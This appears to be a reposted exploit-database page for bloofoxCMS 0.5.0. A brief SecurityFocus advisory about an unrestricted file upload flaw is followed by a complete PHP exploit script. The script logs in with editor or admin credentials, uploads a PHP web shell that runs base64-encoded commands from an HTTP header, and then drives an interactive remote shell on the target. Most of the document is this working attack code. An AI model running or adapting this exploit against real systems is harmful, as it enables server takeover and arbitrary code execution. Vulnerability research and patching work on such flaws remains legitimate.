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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/60585/info

bloofoxCMS is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

bloofoxCMS 0.5.0 is vulnerable;other versions may also be affected. 

<?php
 
/*
 
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /        
  / XXXXXX /
 (________(          
  `------'
  
 Exploit Title   : Bloofox CMS Unrestricted File Upload Exploit
 Date            : 17 June 2013
 Exploit Author  : CWH Underground
 Site            : www.2600.in.th
 Vendor Homepage : http://www.bloofox.com/
 Software Link   : http://jaist.dl.sourceforge.net/project/bloofox/bloofoxCMS/bloofoxCMS_0.5.0.7z
 Version         : 0.5.0
 Tested on       : Window and Linux
  
  
#####################################################
VULNERABILITY: Unrestricted File Upload 
#####################################################
  
 This application has an upload feature that allows an authenticated user
with Administrator roles or Editor roles to upload arbitrary files to media
directory cause remote code execution by simply request it.

 
#####################################################
EXPLOIT
#####################################################
  
*/
 
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
 
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");
  
    fputs($sock, $packet);
    return stream_get_contents($sock);
}


  
if ($argc < 3)
{
print "\n==============================================\n";
print "  Bloofox CMS Unrestricted File Upload Exploit  \n";
print "                                              \n";
print "        Discovered By CWH Underground         \n";
print "==============================================\n\n";
print "  ,--^----------,--------,-----,-------^--,   \n";
print "  | |||||||||   `--------'     |          O   \n";
print "  `+---------------------------^----------|   \n";
print "    `\_,-------, _________________________|   \n";
print "      / XXXXXX /`|     /                      \n";
print "     / XXXXXX /  `\   /                       \n";
print "    / XXXXXX /\______(                        \n";
print "   / XXXXXX /                                 \n";
print "  / XXXXXX /   .. CWH Underground Hacking Team ..  \n";
print " (________(                                   \n";
print "  `------'                                    \n\n";
print "\nUsage......: php $argv[0] <host> <path> <user> <password>\n";
print "\nExample....: php $argv[0] target /bloofoxcms/ editor editor\n";
    die();
}
 
$host = $argv[1];
$path = $argv[2];

$payload = "username={$argv[3]}&password={$argv[4]}&action=login";

$packet  = "POST {$path}admin/index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Referer: {$host}{$path}admin/index.php\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

$response = http_send($host, $packet);

if (!preg_match("/Location: index.php/i", $response)) die("\n[-] Login failed!\n");
if (!preg_match("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("\n[-] Session ID not found!\n");

print "\n..:: Login Successful ::..\n";
print "\n..::   Waiting hell   ::..\n\n";

$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"filename\"; filename=\"sh.php\"\r\n";
$payload .= "Content-Type: application/octet-stream\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet  = "POST {$path}admin/index.php?mode=content&page=media&action=new HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Referer: {$host}{$path}admin/index.php?mode=content&page=media&action=new\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
     
http_send($host, $packet);
 
$packet  = "GET {$path}media/files/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
     
while(1)
{
    print "\nBloofox-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
 
?>